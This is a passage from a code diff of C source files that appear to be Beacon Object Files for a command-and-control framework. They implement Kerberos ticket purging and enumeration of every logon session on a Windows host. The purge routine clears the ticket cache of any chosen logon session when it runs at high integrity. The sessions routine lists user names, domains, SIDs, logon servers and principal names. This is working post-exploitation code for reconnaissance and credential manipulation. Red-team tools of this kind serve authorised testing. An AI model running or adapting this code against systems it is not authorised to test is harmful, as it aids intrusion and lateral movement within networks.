PRINT(dispatch, "[!] LsaCallAuthenticationPackage Status: %ld\n", status);
}
if (submitRequest != NULL) {
MSVCRT$free(submitRequest);
}
SECUR32$LsaDeregisterLogonProcess(hLsa);
}
+54
View File
@@ -0,0 +1,54 @@
#include "purge.h"
void execute_purge(WCHAR** dispatch, HANDLE hToken, LUID luid, BOOL currentLuid) {
ULONG authPackage;
HANDLE hLsa;
void* purgeResponse;
ULONG responseSize;
NTSTATUS protocolStatus;
BOOL highIntegrity = IsHighIntegrity(hToken);
if (!highIntegrity && !currentLuid) {
PRINT(dispatch, "[!] Not in high integrity.\n");
return;
}
if (currentLuid) {
highIntegrity = FALSE;
}
NTSTATUS status = GetLsaHandle(hToken, highIntegrity, &hLsa);
if (!NT_SUCCESS(status)) {
PRINT(dispatch, "[!] GetLsaHandle %ld\n", status);
return;
}
LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9};
status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage);
if (!NT_SUCCESS(status)) {
PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
SECUR32$LsaDeregisterLogonProcess(hLsa);
return;
}
KERB_PURGE_TKT_CACHE_REQUEST purgeRequest;
purgeRequest.MessageType = KerbPurgeTicketCacheMessage;
if (highIntegrity) {
purgeRequest.LogonId = luid;
} else {
purgeRequest.LogonId = (LUID){.HighPart = 0, .LowPart = 0};
}
purgeRequest.RealmName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1};
purgeRequest.ServerName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1};
status =
SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, &purgeRequest, sizeof(KERB_PURGE_TKT_CACHE_REQUEST),
&purgeResponse, &responseSize, &protocolStatus);
if (!NT_SUCCESS(status) || !NT_SUCCESS(protocolStatus)) {
PRINT(dispatch, "[!] LsaCallAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
PRINT(dispatch, "[!] LsaCallAuthenticationPackage ProtocolStatus %ld\n",
ADVAPI32$LsaNtStatusToWinError(protocolStatus));
} else {
PRINT(dispatch, "[+] Successfully purged tickets.\n");
}
SECUR32$LsaDeregisterLogonProcess(hLsa);
}
+141
View File
@@ -0,0 +1,141 @@
#include "sessions.h"
void execute_sessions(WCHAR** dispatch, HANDLE hToken, LUID luid, BOOL currentLuid) {
BOOL highIntegrity = IsHighIntegrity(hToken);
if (!highIntegrity && !currentLuid) {
PRINT(dispatch, "[!] Not in high integrity.\n");
return;
}
LOGON_SESSION_DATA sessionData;
PSECURITY_LOGON_SESSION_DATA data;
NTSTATUS status = GetLogonSessionData(luid, &sessionData);
if (NT_SUCCESS(status)) {
for (int i = 0; i < sessionData.sessionCount; i++) {
data = sessionData.sessionData[i];
if (data != NULL) {
// PRINT(dispatch, "[%d] Session %d %x:0x%x %s\\%s %s:%s\n",
// i, data->Session, data->LogonId.HighPart, data->LogonId.LowPart,
// GetNarrowString(data->LogonDomain.Buffer),
// GetNarrowString(data->UserName.Buffer),
// GetNarrowString(data->AuthenticationPackage.Buffer),
// GetLogonTypeString(data->LogonType));
PrintLogonSessionData(dispatch, *data);
if (i != sessionData.sessionCount - 1) {
PRINT(dispatch, "\n\n");
}
SECUR32$LsaFreeReturnBuffer(data);
}
}
MSVCRT$free(sessionData.sessionData);
} else {
PRINT(dispatch, "[!] execute_sessions GetLogonSessionData: %ld", status);
}
}
NTSTATUS GetLogonSessionData(LUID luid, LOGON_SESSION_DATA* data) {
LOGON_SESSION_DATA sessionData;
PSECURITY_LOGON_SESSION_DATA logonData = NULL;
NTSTATUS status;
if (luid.LowPart != 0) {
status = SECUR32$LsaGetLogonSessionData(&luid, &logonData);
if (NT_SUCCESS(status)) {
sessionData.sessionData = MSVCRT$calloc(1, sizeof(*sessionData.sessionData));
if (sessionData.sessionData != NULL) {
sessionData.sessionCount = 1;
sessionData.sessionData[0] = logonData;
*data = sessionData;
} else {
status = STATUS_MEMORY_NOT_ALLOCATED;
}
} else {
status = ADVAPI32$LsaNtStatusToWinError(status);
}
} else {
ULONG logonSessionCount;
PLUID logonSessionList;
status = SECUR32$LsaEnumerateLogonSessions(&logonSessionCount, &logonSessionList);
if (NT_SUCCESS(status)) {
sessionData.sessionData = MSVCRT$calloc(logonSessionCount, sizeof(*sessionData.sessionData));
if (sessionData.sessionData != NULL) {
sessionData.sessionCount = logonSessionCount;
for (int i = 0; i < logonSessionCount; i++) {
LUID luid = logonSessionList[i];
status = SECUR32$LsaGetLogonSessionData(&luid, &logonData);
if (NT_SUCCESS(status)) {
sessionData.sessionData[i] = logonData;
} else {
sessionData.sessionData[i] = NULL;
}
}
SECUR32$LsaFreeReturnBuffer(logonSessionList);
*data = sessionData;
} else {
status = STATUS_MEMORY_NOT_ALLOCATED;
}
} else {
status = ADVAPI32$LsaNtStatusToWinError(status);
}
}
return status;
}
char* GetLogonTypeString(ULONG uLogonType) {
char* logonType = NULL;
switch (uLogonType) {
case LOGON32_LOGON_INTERACTIVE:
logonType = "Interactive";
break;
case LOGON32_LOGON_NETWORK:
logonType = "Network";
break;
case LOGON32_LOGON_BATCH:
logonType = "Batch";
break;
case LOGON32_LOGON_SERVICE:
logonType = "Service";
break;
case LOGON32_LOGON_UNLOCK:
logonType = "Unlock";
break;
case LOGON32_LOGON_NETWORK_CLEARTEXT:
logonType = "Network_Cleartext";
break;
case LOGON32_LOGON_NEW_CREDENTIALS:
logonType = "New_Credentials";
break;
default:
logonType = "(0)";
break;
}
return logonType;
}
void PrintLogonSessionData(WCHAR** dispatch, SECURITY_LOGON_SESSION_DATA data) {
WCHAR* sid = NULL;
PRINT(dispatch, "UserName : %.*s\n", data.UserName.Length / (int)sizeof(char),
GetNarrowString(data.UserName.Buffer));
PRINT(dispatch, "Domain : %.*s\n", data.LogonDomain.Length / (int)sizeof(char),
GetNarrowString(data.LogonDomain.Buffer));
PRINT(dispatch, "LogonId : %lx:0x%lx\n", data.LogonId.HighPart, data.LogonId.LowPart);
PRINT(dispatch, "Session : %ld\n", data.Session);
if (ADVAPI32$ConvertSidToStringSidW(data.Sid, &sid)) {
PRINT(dispatch, "UserSID : %s\n", GetNarrowString(sid));
} else {
PRINT(dispatch, "UserSID : -\n");
}
PRINT(dispatch, "Authentication package : %.*s\n", data.AuthenticationPackage.Length / (int)sizeof(char),
GetNarrowString(data.AuthenticationPackage.Buffer));
char* logonType = GetLogonTypeString(data.LogonType);
PRINT(dispatch, "LogonType : %s\n", logonType);
SYSTEMTIME st_utc = ConvertToSystemtime(data.LogonTime);
PRINT(dispatch, "LogonTime (UTC) : %d/%d/%d %d:%d:%d\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
PRINT(dispatch, "LogonServer : %.*s\n", data.LogonServer.Length / (int)sizeof(char),
GetNarrowString(data.LogonServer.Buffer));
PRINT(dispatch, "LogonServerDNSDomain : %.*s\n", data.DnsDomainName.Length / (int)sizeof(char),
GetNarrowString(data.DnsDomainName.Buffer));
PRINT(dispatch, "UserPrincipalName : %.*s\n", data.Upn.Length / (int)sizeof(char),
GetNarrowString(data.Upn.Buffer));
}